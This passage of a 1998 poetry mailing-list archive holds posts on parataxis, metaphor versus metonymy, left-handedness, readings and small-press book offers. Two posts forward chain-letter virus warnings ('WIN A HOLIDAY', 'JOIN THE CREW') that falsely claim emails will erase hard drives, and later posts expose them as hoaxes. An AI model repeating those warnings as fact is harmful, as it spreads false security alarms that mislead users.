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467. **Kevin Varrone**
Philly reading
Wed 11 Mar 1998

For those in the Philadelphia area:

5 Corners Poetry Series Presents:

> Jenny Gough & Paul Muldoon
> Thursday, March 19th, 8 p.m.
> @ george's 5th Street Cafe
> (5th & Gaskill Streets
> between Lombard & South Sts)

Call Kevin @ [redacted] for more info.

Thanks.

↑ Index

468. **Don Wellman**
Re: pomo metaphoracity
Wed 11 Mar 1998

---

some off the cuff meditations:

parataxis (rhetorically a figure of speech) used to describe paratactic verbal constructions and opposed to normative subject predicate syntax such as "man sees horse." Examples include series of phrases, marked by repetiton and variation (parallelisms, coordination); read by pattern recognition, analyzed by classification rather than by qualification, modification, subordination; often thought of as non-hierarchical, except that series nest within series. Best ready example Whitman.

one truism: paratactic constructions, like chants appeal to the emotions; syntactic to reason, rationality

elements within a paratactic structure can be syntatcatically complete: "caldorn boil"

but "caldron boil and caldron bubble" is a highly marked example of parataxis (marked by syntatctic parallelism, repetition, and assonance."

"the apparition of these faces in the crowd;
petal on a wet, black bough"

is a lightly marked, syntactically incomplete, example of parataxis. You have the bare bones of a series; each untit syntactically dissimilar, each unit marked by assonance in the musical phrase, arriving by different routes at the strongly

marked assonance (in parallel position) of the /ow/ and /ou/ sounds at th end of each line.

Don Wellman

↑ Index

469. **Steven Marks**
Re: pomo metaphoracity
Wed 11 Mar 1998

Tom Bell,

The Princeton Ency. of Poetry and Poetics sez:

"P. is a stylistic term referring to a relative paucity of linking terms between juxtaposed clauses or sentences, often giving the effect of piling up, swiftness, and sometimes compression. A paratactic style is one in which a lang.'s ordinary resources for joining propositions are deliberately underused..."

Interestingly, the definition includes an example from Pope's "Essay on Criticism." To wit:

Pride, Malice, Folly against Dryden rose,
In various shapes of Parsons, Critics, Beaus

The Pr. Ency. says that the presence of "and" in the two lines would prevent us from making both single pairs between the faults in line 1 and the enemies in line 2 (Pride - Parsons) and between the two groups in relationship to each other.

Now, I would even say that perhaps the pairings are metonymical.

What would you all say?

Steven

On Wed, 11 Mar 1998, Thomas Bell wrote:

> *I've asked this before here without much response so i'll ask again. What does 'parataxis' mean in literary circles? Psychologically it has a sense that i think is now pretty much limited to Harry Sullivan's works where it means prelogical or non-verbal action tendencies. It could, by extension, be applied in other 'systems' but I like the more delimited formulation and i think it works better in that framework.*
> *tom bell*
>
> *At 08:00 AM 3/11/98 EST, henry gould wrote:*
> *On Tue, 10 Mar 1998 18:57:46 -0500 Steven Marks said:*
> *Rosmarie Waldrop speaks to this in her essay, "Form and Discontent," in the fall/winter '96 issue of Diacritics. She speaks, among many other*

things, of Olson referring to the vertical tendency of metaphor as "the suck of symbol." Waldrop: "Metaphor as a hotline to transcendence, to divine meaning, which casts the poet in the role of a special being, a priest or prophet." In short, Romanticism. On metonymy: "composition and syntax," "stess on how the elements were combined on the surface, how they sat next to each other on the page, how they followed each other in the theater." Or, "the Neoclassical aesthetic."

I also agree with George Thompson. I think Rosmarie Waldrop's piece is only one among a great many which used this opposition to defend (sort of after-the-fact) the whole stream of open, experimental, documentary poetics stemming mainly from Pound, and also to support what is seen as a feminist, secular, "anti-logocentric" worldview. It is a simple fact that 20th century poetry explores whole new regions via metonymy, parataxis, and collage, so it is understandable that people would remark on the special resources of these aspects of language use. But this idea that metaphor rather than metonymy can be put to vatic, religious use - that one is sacred, the other secular - is there any evidence of this?
Or is Waldrop's real target the attempt to provide any single, stable "meaning" in poetry?

The Russian Formalists sort of codified these two axes of composition in poetry, and various poets have been drawn to their theories for technical explanations of what they're doing. As I've said before here & have tried to point out in a couple web essays (in Mudlark & in a response to Joe Brennan in Flashpoint), I prefer the theories of one of the Formalists' percursors and antagonists, A. Potebnia. Potebnia emphasized that words have an "inner form" or "inner image" - psychological, etymological, symbolic. Actually not a single image - words are concentrated sources, via this inner form, of infinite meanings. Poetry is not analyzable simply on a R. Formalist grid or axis of metaphor/metonymy, because the inner form of the word per se is always generating new clusters of meaning & effect. Potebnia as you might guess shows some kinship with the ideas of Annensky and Mandelstam, in particular.

I'm not a scholar myself & admit these are hunches rather than researches, but they're useful orientations for me anyway.
- Henry Gould

Steven Marks

http://members.aol.com/swmarks/welcome.html

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470. Henry Gould
Re: metaphoracity redux
Thu 12 Mar 1998

On Wed, 11 Mar 1998 22:43:40 +0000 linda russo said:
>I'm wondering if anyone's written abt. post-metaphoric
>"political" poetry -- specifically abt. the absence of metaphor.
>
>as John Berger writes in _A Painter of Our Time_ (and I paraphrase)
>a poet Yannos used pigeons as a symbol of the revolutionaries' spirits after
>they were slaughtered in a square when upon the gunshots these pigeons
>flew off the window sills where they routinely sat; John remarked they had
>returned peacefully the next day, and said "the only image for man fighting is
>man"
>[double sic]
>
>it seems that some postmodern poetry disregards metaphor FOR
>political reasons -- i'm wondering abt. this distinction.

In my view if you're writing poetry you're already involved in the power structure. And indirect or direct speech are EQUIVALENT techniques. Indirect speech is often the most powerful. It is someone saying something too terrible to use words directly about. The metaphor or synecdoche or whatever only adds to the shock. Whereas in an (an)aesthetized cultural situation "direct" speech SEEMS more "political". The irony is that those who think poetry is a political tool are the ones most comfortable with the status quo, whether they realize it or not. Those outside the status quo use poetry politically in order to join the establishment. And those REALLY outside the establishment - are totally outside poetry too. - Edgar Allan Poe, Southern Gentleman

↑ Index

471. Kasey Silem Mohammad Hicks
Re: Knife & Fork
Thu 12 Mar 1998

By way of bringing the metonymy/metaphor discussion more closely to bear on individual verse passages, I'd like to point out how the knife = fork metonymy operates in a specific literary application. I'm reminded of that timeless lyric, whose author, if known, I've forgotten (it isn't Ogden Nash, is it?):

I eat my peas with honey:
I've done it all my life.

It may taste kind of funny,
But it keeps them on my knife.

Here, the knife would be a fork if "fork" rhymed with "life." Thus the rhetorical function of metonymy, in this instance, doubles as a principle of formal expedience. The end result (once we come to terms with the problems of figurative categorization) is a frustration of the reader's expectations that produces either a disturbing experience of lexical slippage or an equally unsettling image of gustatory incompetence--or rather, a radical flickering between both possible aesthetic fields, and hence the GREATNESS of the poem.

K

↑ Index

472. **rsillima**
Ambi-ducks-trous
Thu 12 Mar 1998

Being the dense sort, when they put a pen or pencil or crayon into my right hand, I used it there. It wasn't until around age seven, when (in the days before mini-T-ball leagues) playing baseball with my dad's right-handed glove I simply couldn't throw, so got into the habit of taking the glove off first and then throwing (a la Jim Abbott, the one-handed pitcher) until I could convince my folks to invest in a left-handed glove. When I tried batting left-handed, suddenly I could hit, and in fact I now do all sports as a leftie (even kick with my left foot). But I still write right-handed and my pen-person-ship demonstrates for all to see that this is not a "natural" mode.

One twin (Colin) is a lefty with a pen, tho a switch hitter. Jesse is strictly a righty. I've been told that such a division is almost standard with twins.

Count Erica Hunt among the lefties.

Ron

↑ Index

473. **Schuchat Simon**
Re: Ambi-ducks-trous
Thu 12 Mar 1998

I am usually left handed, e.g., writing, scratching, daily tasks, knife and fork using, etc. when I went to Shanghai however I was not allowed (I mean this literally) to use chopsticks with my left hand -- they would be physically taken from my left hand and put into my right hand. so the only major task in which I am right handed is eating with chopsticks. at one point a friend was going to teach

me calligraphy with a brush; he said that I would have to do it with my right hand, otherwise the stroke order would be wrong. I decided not to learn to use the brush.

↑ Index

474. **Daniel Zimmerman**
Re: pomo metaphoracity
Thu 12 Mar 1998

Steven Marks wrote:
>
> I agree that metonymy should have no privilege over metaphor and that
> both are parts of all languages. What I found interesting in the Waldrop
> quotes that I provided was that she couldn't get away from using
> metaphors. And who can? Or would want to? I remember about 25 years ago, I
> vowed to rid my writing of all metaphor. I'm not sure why. I think I
> thought of metaphors as being somehow "false." Well, this project didn't
> last long. I soon realized that common, everyday words themselves were
> metaphors. For example, "metaphor," which comes from roots meaning change
> and to bear. I always had this image of an old man carrying bundles of
> similarities across a bridge from one word to another. Still, this all
> said, I still wonder why language is this way. Could it have gone another
> route? I suppose these are more anthropological questions than political
> ones, although that line has to be blurry at some point as well. Maybe
> they are even physiological questions. Some researchers believe we
> developed speech because we, as a species, are predominately right-handed.
> Thus, we used the left side of our brain for picking fruits, nabbing grubs
> and just generally hanging around. This freed the right side of our brain
> to do what it does best -- speech. Can we blame it all on a gene that
> decided to favor right-handedness? What if it had decided left-handedness?
> Or split right down the middle?
>
> Some early morning thoughts.
>
> cheers,
> Steven
>
> _____
> Steven Marks
>

> http://members.aol.com/swmarks/welcome.html
> _____

Both my kids are lefties, though their mothers andy parents and sister and I are all right-handed [my paternal gransfather was ambidextrous].

Check out famous lefties at:

http://stekt.oulu.fi/~mjh/lefties.html

!yojne

[btw: Lisa Simpson last week wrote right to left in one scene--when she worried that the "Simpson gene" would doom her to the intellectual level of Homer and Bart--but after she learned that the gene affected only male Simpsons, she wrote left to right]...

Dan Zimmerman

↑ Index

475. **Henry Gould**
Re: metaphoracity redux
Thu 12 Mar 1998

In my view if you're writing poetry you're already involved in the power structure. And indirect or direct speech are EQUIVALENT techniques. Indirect speech is often the most powerful. It is someone saying something too terrible to use words directly about. The metaphor or synecdoche or whatever only adds to the shock. Whereas in an (an)aesthetized cultural situation "direct" speech SEEMS more "political". The irony is that those who think poetry is a political tool are the ones most comfortable with the status quo, whether they realize it or not. Those outside the status quo use poetry politically in order to join the establishment. And those REALLY outside the establishment - are totally outside poetry too. - Edgar Allan Poe, Southern Gentleman

Edgar's being vague and simplistic here. Making of poetry takes place on more than one level. There's the widespread impulse to make art, irrespective of talent or social position. It's a way of life and a gift economy. Then there's Literature as an economic activity and cultural institution. Edgar himself promoted the ideal of the Cosmopolitan, Aristocratic Man of Letters and Genius as a literary or staged property (while the status of the southern aristocracy and human "property" was in deep crisis) - the Author vs. the Rabble. This has been an abiding theme since the end of feudalism, just about. The question of common property or common good in every society and in world society - what is private, what is public, what is allowed as luxury, what is deemed necessary for survival - and how decisions like this are made, if they are made - affects the Literature

Industry and every work of writing. So a poet might choose to "deny art" - to "not use metaphor" - to do "straight reporting" or use "transparent, functional language" - "include documentary material" - etc. not only to "be political", but to change the dynamic of the literary contract between author and readers. To try to import an immediate, didactic element into a poem. Or a poet might try to carefully DISTORT "transparent language" in a way that brings out what such language conceals. Or a poet might design an allegory or symbol of a many-sided political situation - this seems like the function of metaphor on a "macro" level. Or a poet might "be political" by NOT being political - by foregrounding emotion, sensibility, aesthetics, in order to substantiate these evidences of life and humanity outside of any power situation, or, conversely, to present a reality that SHOULD exist if there were justice in the world.

All these forms of communication in poetry seem to be happening all the time in very complex ways. To "not use metaphor" seems sort of isolated to me as a literary "strategy". Isolated or abstract or something. But these questions of a writer's "contract" or position or strategy within the larger environment of what a society is doing - whether or not a particular writer can consciously manipulate these issues and remain an artist at all - these issues are the pivot around which the political aspect of someone's work revolve. - Henry Gould

↑ Index

476. **Maria Damon**

Re: metaphoracity redux

Thu 12 Mar 1998

At 10:43 PM +0000 3/11/98, linda russo wrote:
>boy, this sure has drifted from my initial inquiry. I'm aware of the
>metaphor/metonymy distinction. Perhaps there is no answer to my q. as
>there is no essay that tells me exactly what i want to know! which
>is (to rephrase)
>I'm wondering if anyone's written abt. post-metaphoric
>"political" poetry -- specifically abt. the absence of metaphor.
>
>as John Berger writes in _A Painter of Our Time_ (and I paraphrase)
>a poet Yannos used pigeons as a symbol of the revolutionaries' spirits after
>they were slaughtered in a square when upon the gunshots these pigeons
>flew off the window sills where they routinely sat; John remarked they had
>returned peacefully the next day, and said "the only image for man
>fighting is man"
>[double sic]
>

>it seems that some postmodern poetry disregards metaphor FOR
>political reasons -- i'm wondering abt. this distinction.

while i suspect the answer could be construed to be yes, the most famous example of this is not a postmodern one: Neruda i think, said something like "the blood of the children ran in the streets like the blood of the children ran in the streets."

↑ Index

477. Maria Damon
Re: pomo metaphoracity
Thu 12 Mar 1998

---

when i teach my favorite example of parataxis is the "Old Testament," because many students are familiar w/ the style if not the detailed contents thereof. then i move to stein, j bowles, etc. erich auerbach, in mimesis, has a chapter on the OT and how the parataxis (this and this and this happened, rather than this caused this to happen, and then that in turn caused a reaction, etc) creates a sense of timelessness or mythos rather than a sense of a narrative developing through time. gertrude said that the OT shd a a model for "new American writing" (in 1935), and auerbach's work is generally seen as a muted, if pointed, emphasis on the importance of Jewish culture to European culture; he also was writing (in exile) during WWII --so identitarian that i am, i tend to give this particular lecture an ethnic spin, though of course it goes beyond that as well.

At 10:44 PM -0500 3/11/98, Steven Marks wrote:
>Tom Bell,
>
>The Princeton Ency. of Poetry and Poetics sez:
>
>"P. is a stylistic term referring to a relative paucity of linking terms
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>> and i think it works better in that framework.
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>> >- Henry Gould
>> >
>> >
>>
>
>_____
> Steven Marks
>
> http://members.aol.com/swmarks/welcome.html
>_____

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478. **Nada Gordon**

VIRUS WARNING

Thu 12 Mar 1998

Date: Thu, 12 Mar 1998 10:50:52 +0900
From: Max Woollerton <[redacted]>
Reply-To: [redacted]
MIME-Version: 1.0
To: Achim Rottger <[redacted]>, KIFLTU Nada Gordon <[redacted]>,

Subject: VIRUS WARNING

Dear Friends,

I have just received a virus warning from a member of my family. I'll copy the message, which is clearly important, expecially for PC users. I am not sure
whether this affects Macs as well as PCs. The message reads:

NEW VIRUS WARNING

If you receive an e-mail titled "WIN A HOLIDAY', DO NOT open it. It will
erase everything on your hard drive. Forward this letter out to as many

people as you can. This is a new, very malicious virus and not many people know about it. This information was announced yesterday morning from Microsoft. Please share it with everyone who might access the Internet. Once again, pass this along to EVERYONE in your address book so that this may be stopped.

Also, do not open or even look any mail that says 'RETURNED OR UNABLE TO
DELIVER'. This virus will attach itself to your computer components and

render them useless. Immediately delete any mail items that say this. American Online has said that this is a very dangerous virus and that there is NO remedy for it at this time. Please practise cautionary measures and forward this to all your on-line friends. End of message.

The message seems to have been sent originally on March 5th and has been

through the Carribean, USA and Canada. I hope you find it helpful.

With best wishes,

Max Woollerton.

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479. **joel lewis**
Hoxha & Salazar Rules!
Thu 12 Mar 1998

*** 'Wag the Dog' tickles Albanian prime minister

Albania's prime minister hasn't seen the film "Wag the Dog" yet, but he says he isn't afraid of life imitating art. In the movie, a U.S. president enlists the help of a filmmaker and spin doctor to stage a make-believe military assault on Albania to distract public attention from a presidential sex scandal. Prime Minister Fatos Nano, on a three-day visit to Israel, said he wasn't offended by the movie's choice of Albania as an obscure target for a fake U.S. attack. See http://www.infobeat.com/stories/cgi/story.cgi?id=2553290221-184 _____ *** Portugal to break record on Europe's longest bridge

Portugal plans to cook its way into the Guinness Book of records by seating 15,000 people at the longest dinner table ever laid, to celebrate the opening of Europe's longest bridge. The table will stretch 3 miles along Lisbon's Vasco da Gama suspension bridge, which is due to open officially at the end of the month, and beat the previous world record by half a mile, organizers said Wednesday. Cooks are already at work preparing the 6,750 tons of "feijoada," a heavy southern Portuguese stew of beans, onions and assorted meat that will be served at the massive eat-in on March 22. The 11-mile bridge across the River Tagus opens two months before the launch of Expo'98, the Lisbon world fair which marks the 500th anniversary of navigator Vasco da Gama's discovery of the sea route to India.

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480. **Pritchett,Patrick**
Re: Ambi-ducks-trous
Thu 12 Mar 1998

This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible.

--Boundary_(ID_Sr6oKh8vlTbt0iAeOzqytw)

CNN factoid last night - which before this whimsical thread I would have ignored - who is the all-time leading left-handed scorer in the NBA? Answer: Artis Gilmore - over 24,000 points.

Just curious though - wouldn't the root meaning of ambidextrous imply having two right hands rather than a parity between the left and the right? Also, what's

the Pound reference in _Cantos_ to "O Sinistro" which comes flooding back now unbidden?

Desperately awating the onset of spring,
Patrick Pritchett

From: [redacted]
To: [redacted]
Subject: Ambi-ducks-trous
Date: Thursday, March 12, 1998 5:34AM

Being the dense sort, when they put a pen or pencil or crayon into my right hand, I used it there. It wasn't until around age seven, when (in the days before mini-T-ball leagues) playing baseball with my dad's right-handed glove I simply couldn't throw, so got into the habit of taking the glove off first and then throwing (a la Jim Abbott, the one-handed pitcher) until I could convince my folks to invest in a left-handed glove. When I tried batting left-handed, suddenly I could hit, and in fact I now do all sports as a leftie (even kick with my left foot). But I still write right-handed and my pen-person-ship demonstrates for all to see that this is not a "natural" mode.

One twin (Colin) is a lefty with a pen, tho a switch hitter. Jesse is strictly a righty. I've been told that such a division is almost standard with twins.

Count Erica Hunt among the lefties.

Ron

--Boundary_(ID_Sr6oKh8vlTbt0iAeOzqytw)

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<META NAME="Generator" CONTENT="MS Exchange Server version 5.0.1458.49">

</HEAD>
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<P><FONT SIZE=2>CNN factoid last night - which before this whimsical thread I would have ignored - who is the all-time leading left-handed scorer in the NBA? Answer: Artis Gilmore - over 24,000 points.</FONT></P>

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Sinistro" which comes flooding back now unbidden?</FONT></P>

<P><FONT SIZE=2>Desperately awating the onset of spring,</FONT>

<FONT SIZE=2>Patrick Pritchett</FONT>

<FONT SIZE=2> ----------</FONT>

<FONT SIZE=2>From: [redacted]</FONT>

<FONT SIZE=2>To: [redacted]</FONT>

<FONT SIZE=2>Subject: Ambi-ducks-trous</FONT>

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<FONT SIZE=2>with twins.</FONT>

<FONT SIZE=2>Count Erica Hunt among the lefties.</FONT>

<FONT SIZE=2>Ron</FONT>
</P>

</BODY>
</HTML>

--Boundary_(ID_Sr6oKh8vlTbt0iAeOzqytw)--

↑ Index

481. Gary Sullivan
Dahlen/Campbell
Thu 12 Mar 1998

Hello, Everyone:

Can someone backchannel me with e- or s- addresses for Beverly Dahlen and Bruce Campbell?

Many kind thanks in advance.

Yours,

Gary Sullivan
[redacted]

↑ Index

482. Keston Sutherland
Books by JH Prynne (fwd)
Thu 12 Mar 1998

---

should anybody be interested..

---------- Forwarded message ----------
Date: Thu, 12 Mar 1998 14:28:16 +0000
From: Peter Riley <[redacted]>
To: [redacted]
Subject: Books by JH Prynne

Until the new collected poems is published only the following booklets are available---

Not-You. Equipage 1993. £2.50
Her Weasels Wild Returning. Equipage 1994 £2.50
For the Monogram. Equipage 1997 £2.50

2nd hand/1st editions---
Kitchen Poems. 1968 Paperback £10
Into the Day, 1972 £15
The Oval Window 1983 £12

Also Poetical Histories No.22, a 2-page leaflet by JHP £2.00. This may prove a difficulty to some readers because it's entirely in Chinese, but those (other than Chinese-speakers) who delight in difficulty will find it a truly challenging opportunity to exercise their inability to read.

These prices include postage
from
Peter Riley (Books)
27 Sturton Street,
Cambridge CB1 2QG

↑ Index

483. **david bromige**
forwarded: Virus FYIs...
Thu 12 Mar 1998

Date: Thu, 12 Mar 98 09:59:56 -0500
From: <[redacted]>
To: <[redacted]>, <[redacted]>
Subject: forwarded: Virus FYIs...
Mime-Version: 1.0

from your friend/aunt shelly.

_____ Forward Header
_____
Subject: forwarded: Virus FYIs...
Author: Sam Bunch at INTL1
Date: 3/11/98 9:57 AM

For your information

_____ Forward Header
_____
Subject: forwarded: Virus FYIs...
Author: NANCY MOREL at INTL1
Date: 3/10/98 11:38 AM

Just for your information

_____ Forward Header
_____

Subject: forwarded: Virus FYIs...
Author: BRENDA SHAW at INTL1
Date: 3/10/98 10:55 AM

FYI. This message has been forwarded to everyone in the department.

_____ Forward Header
_____
Subject: forwarded: Virus FYIs...
Author: HOLLY HARPER at MUNI1
Date: 3/10/98 9:33 AM

VIRUS WARNING !!!!!!

FIRST ONE
"If you receive an email titled "WIN A HOLIDAY" DO NOT open it. It will erase everything on your hard drive. Forward this letter out to as many people as you can. This is a new, very malicious virus and not many people know about it. This information was announced yesterday morning from Microsoft."

SECOND ONE
"Also, do not open or even look at any mail that says "RETURNED OR UNABLE TO DELIVER" This virus will attach itself to your computer components and render them useless. Immediately delete any mail items that say this. AOL has said that this is a very dangerous virus and that there is NO remedy for it at this time."

LAST ONE
"If you receive an E-mail titled "JOIN THE CREW" DO NOT open it. It will erase everything on your hard drive. Forward this mail to as many people as you can. This is a new, very advanced virus and not many people know about it. This information was announced yesterday morning from IBM."

↑ Index

484. **Thomas Bell**
Re: Ambi-ducks-trous & Spahn
Thu 12 Mar 1998

---

who is the all-time leader in wins for a left-hander, most home runs by a left-handed pitcher?

Spahn returns to haunt the list once more.

At 09:40 AM 3/12/98 -0600, Pritchett,Patrick @Silverplume wrote:
>CNN factoid last night - which before this whimsical thread I would have
>ignored - who is the all-time leading left-handed scorer in the NBA?
>Answer: Artis Gilmore - over 24,000 points.
>
>Just curious though - wouldn't the root meaning of ambidextrous imply
>having two right hands rather than a parity between the left and the
>right? Also, what's the Pound reference in _Cantos_ to "O Sinistro"
>which comes flooding back now unbidden?
>
>Desperately awating the onset of spring,
>Patrick Pritchett
> ----------
>From: [redacted]
>To: [redacted]
>Subject: Ambi-ducks-trous
>Date: Thursday, March 12, 1998 5:34AM
>
>Being the dense sort, when they put a pen or pencil or crayon into my
>right
>hand, I used it there. It wasn't until around age seven, when (in the
>days
>before mini-T-ball leagues) playing baseball with my dad's right-handed
>glove I simply couldn't throw, so got into the habit of taking the glove
>off
>first and then throwing (a la Jim Abbott, the one-handed pitcher) until
>I
>could convince my folks to invest in a left-handed glove. When I tried
>batting left-handed, suddenly I could hit, and in fact I now do all
>sports
>as a leftie (even kick with my left foot). But I still write
>right-handed
>and my pen-person-ship demonstrates for all to see that this is not a
>"natural" mode.
>

>One twin (Colin) is a lefty with a pen, tho a switch hitter. Jesse is
>strictly a righty. I've been told that such a division is almost
>standard
>with twins.
>
>Count Erica Hunt among the lefties.
>
>Ron
><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
><HTML>
><HEAD>
><META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=us-ascii">
><META NAME="Generator" CONTENT="MS Exchange Server version 5.0.1458.49">
>
></HEAD>
><BODY>
><P><FONT SIZE=2>CNN factoid last night - which before this whimsical thread
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>
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>
<FONT SIZE=2> ----------</FONT>
>
<FONT SIZE=2>From: [redacted]</FONT>
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<FONT SIZE=2>Ron</FONT>
></P>
>
></BODY>
></HTML>
>

↑ Index

485. **Pritchett,Patrick**

Re: forwarded: Virus FYIs...

Thu 12 Mar 1998

This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible.

--Boundary_(ID_iL6fAZBKUiqTlvBIMhKe1Q)

FYI - these viruses and the warnings about them are bogus. Do us all a favor and don't circulate them. Thank you.

Patrick Pritchett

From: david bromige
To: [redacted]
Subject: forwarded: Virus FYIs...
Date: Thursday, March 12, 1998 10:39AM

>Date: Thu, 12 Mar 98 09:59:56 -0500
>From: <[redacted]>
>To: <[redacted]>, <[redacted]>
>Subject: forwarded: Virus FYIs...
>Mime-Version: 1.0
>
>
>
> from your friend/aunt shelly.
>
>_____ Forward Header
>_____
>Subject: forwarded: Virus FYIs...
>Author: Sam Bunch at INTL1
>Date: 3/11/98 9:57 AM
>
>
>For your information
>
>_____ Forward Header
>_____
>Subject: forwarded: Virus FYIs...
>Author: NANCY MOREL at INTL1
>Date: 3/10/98 11:38 AM
>
>
>
>Just for your information
>
>_____ Forward Header
>_____
>Subject: forwarded: Virus FYIs...
>Author: BRENDA SHAW at INTL1

>Date: 3/10/98 10:55 AM
>
>
> FYI. This message has been forwarded to everyone in the
department.
>
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>_____ Forward Header
>_____
>Subject: forwarded: Virus FYIs...
>Author: HOLLY HARPER at MUNI1
>Date: 3/10/98 9:33 AM
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>
> VIRUS WARNING !!!!!!
>
> FIRST ONE
> "If you receive an email titled "WIN A HOLIDAY" DO NOT open it.
It
> will erase everything on your hard drive. Forward this letter out
to
> as many people as you can. This is a new, very malicious virus and
not
> many people know about it. This information was announced
yesterday
> morning from Microsoft."
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> SECOND ONE
> "Also, do not open or even look at any mail that says "RETURNED OR
> UNABLE TO DELIVER" This virus will attach itself to your computer
> components and render them useless. Immediately delete any mail
items
> that say this. AOL has said that this is a very dangerous virus
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> that there is NO remedy for it at this time."

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> LAST ONE
> "If you receive an E-mail titled "JOIN THE CREW" DO NOT open it.
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> will erase everything on your hard drive. Forward this mail to as
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--Boundary_(ID_iL6fAZBKUiqTlvBIMhKe1Q)

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<FONT SIZE=2>Date: Thursday, March 12, 1998 10:39AM</FONT>

<FONT SIZE=2>>Date: Thu, 12 Mar 98 09:59:56 -0500</FONT>

<FONT SIZE=2>>From: <[redacted]></FONT>

<FONT SIZE=2>>To: <[redacted]>, <[redacted]></FONT>

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<FONT SIZE=2>></FONT>

<FONT SIZE=2>></FONT>

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<FONT SIZE=2>></FONT>
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</BODY>
</HTML>

--Boundary_(ID_iL6fAZBKUiqTlvBIMhKe1Q)--

↑ Index

486. Joe Amato/Kass Fleisher
Re: sinister and gauche
Thu 12 Mar 1998

ok: my mother was right-handed, my father was left-handed... but my father was forced to write (he printed, all uppercase) right-handed by, as he called them, the nuns...

me, i'm right-handed (as a writer too), with the exception that i shovel, sweep, etc. left-handed... which is to say, heavy work of that sort i do left-handed, and a few minor tasks as well (from what i've been able to determine)...

i figure it musta been my father's doing, unwittingly...

best,

joe

↑ Index

487. Christopher W. Alexander
A.BACUS 1998
Thu 12 Mar 1998

Peter Ganick asked me to post this annonce to the list...

Potes & Poets announces A.BACUS / 1998

eight iss. of exciting, experimental poetry printed on acid- free paper, mailed to you via 1st class post. every 6 wks.

#111 1 january Sianne Ngai
#112 15 february Rosmarie Waldrop
#113 1 april L. Scalapino / L. Hejinian
#114 15 may Ron Silliman
#115 1 july Jessica Grim
#116 15 august Mark Wallace
#117 1 october Jefferson Hansen
#118 15 november Johanna Drucker

send $30 for all eight iss. of A.BACUS;
$5 for an individual iss. to:

Potes & Poets Press
181 Edgemont Avenue
Elmwood CT 06110

all other Potes & Poets materials are now available
solely through Small Press Distribution...

..

Christopher W. Alexander etc. / nominative press collective

email: [redacted]
snail-mail: P.O. Box 522402 / Salt Lake City UT 84152-2402
press/zine site: http://choengmon.lib.utah.edu/~calexand/nonce/

↑ Index

488. k. lederer
Re: sinister
Thu 12 Mar 1998

When I was little I wrote with both hands--

When I came to the midpoint of a page, I would switch--

The thing is, though, that I had some sort of brain dysfunction--my two hemispheres were, apparently, not connected properly (the connection, which I believe takes the form of a kind of tendon-like rope of brain matter, was not fully devloped or something)--

Thus, I would not only switch hands, but I would write backwards with the right hand--producing a mirror-like effect--

This problem went away on its own--but I too was sometimes forced to erase my homework and re-do it with my right hand--

This was part of some sort of experiment on the parts of some curious school administrators--not part of any study or anything--it was just terrible--

Katy
***

↑ Index

489. David Kellogg
There ARE NO email viruses: these are hoaxes
Thu 12 Mar 1998

These so-called "viruses" do not exist. All three of the below-listed "viruses" are listed as hoaxes on the McAfee virus hoax web page [http://www.nai.com/services/support/hoax/hoax.asp] .

FYI: Viruses CANNOT be contained in an email message, only in an attachment which is opened through an application. These messages just take up bandwidth (unfortunately, so do corrective messages such as this one).
~~~
~~~

>>Date: 3/11/98 9:57 AM
>>
>>
>>For your information
>>
>>_____ Forward Header
>>_____
>>Subject: forwarded: Virus FYIs...
>>Author: NANCY MOREL at INTL1
>>Date: 3/10/98 11:38 AM
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>> morning from Microsoft."
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>> people as you can. This is a new, very advanced virus and not many
>> people know about it. This information was announced yesterday
morning
>> from IBM."
>>
>

↑ Index

490. **Susan Clark**

Re: Books by JH Prynne (fwd)

Thu 12 Mar 1998

Anyone interested in the latest scholarship on Prynne should of course check out Edgar Allen Poe's eight-page review of *Not-You* in RADDLE MOON 15.

Susan Clark
RADDLE MOON
Vancouver, BC
[redacted]

> *Subject: Books by JH Prynne*
> *Until the new collected poems is published only the following booklets are available---*
>
> *Not-You. Equipage 1993. £2.50*
> *Her Weasels Wild Returning. Equipage 1994 £2.50*

> *For the Monogram. Equipage 1997 £2.50*

↑ Index

491. Patrick F. Durgin
Re: metaphoracity redux
Thu 12 Mar 1998

Those outside the status quo use poetry to gain acceptance . . . or some such problematic and seemingly facile assesment?! Could you provide an example or some sort of situation for this statement? Patrick F. Durgin

`
`
`
` ----->*<-----
` K E N N I N G|
` anewsletterof|
` poetry&poetic|
` s418BrownSt.#|
` 10IowaCityIA5|
` 2245USA\/\/\/|

↑ Index

492. MAYHEW
memorization
Thu 12 Mar 1998

On another topic altogether, I was wondering whether others share my particular form of insanity: A couple of years ago I started to memorize poetry almost obsessively. I had done this fairly casually throughout the years but soon I started to memorize as much as possible; I am obliged to drive across the state of Missouri every week and I use the five hours to rehearse as many poems as I can, though after about 35 or 40 I get mentally fatigued. I noticed that I began to pay much more attention to the distinctive intonational patterns of different poets and texts.

Jonathan Mayhew
Department of Spanish and Portuguese
University of Kansas
[redacted]

↑ Index

493. **Patrick F. Durgin**
Re: metaphoracity redux
Thu 12 Mar 1998

Whoops! Came without explanation the first time. Pardon. PFD

`
`
`
` ----->*<-----
` K E N N I N G|
` anewsletterof|
` poetry&poetic|
` s418BrownSt.#|
` 10IowaCityIA5|
` 2245USA\/\/\/|

On Thu, 12 Mar 1998, Henry Gould wrote:

> *In my view if you're writing poetry you're already involved in the power structure. And indirect or direct speech are EQUIVALENT techniques. Indirect speech is often the most powerful. It is someone saying something too terrible to use words directly about. The metaphor or synecdoche or whatever only adds to the shock. Whereas in an (an)aesthetized cultural situation "direct" speech SEEMS more "political". The irony is that those who think poetry is a political tool are the ones most comfortable with the status quo, whether they realize it or not. Those outside the status quo use poetry politically in order to join the establishment. And those REALLY outside the establishment - are totally outside poetry too.*
> *- Edgar Allan Poe, Southern Gentleman*
>
> *Edgar's being vague and simplistic here. Making of poetry takes place on more than one level. There's the widespread impulse to make art, irrespective of talent or social position. It's a way of life and a gift economy. Then there's Literature as an economic activity and cultural institution. Edgar himself promoted the ideal of the Cosmopolitan, Aristocratic Man of Letters and Genius as a literary or staged property (while the status of the southern aristocracy and human "property" was in deep crisis) - the Author vs. the Rabble. This has been an abiding theme since the end of feudalism, just about. The question of common property or common good in every society and in world society - what is private, what is public, what is allowed as luxury, what is deemed necessary for survival - and how decisions like this are made, if they are made - affects the Literature Industry and every work of writing. So a poet might choose to "deny art" - to "not use metaphor" - to do "straight reporting" or use "transparent, functional language" - "include documentary material" - etc. not only to "be political", but to change the dynamic of the literary contract between author and readers. To try to import an*

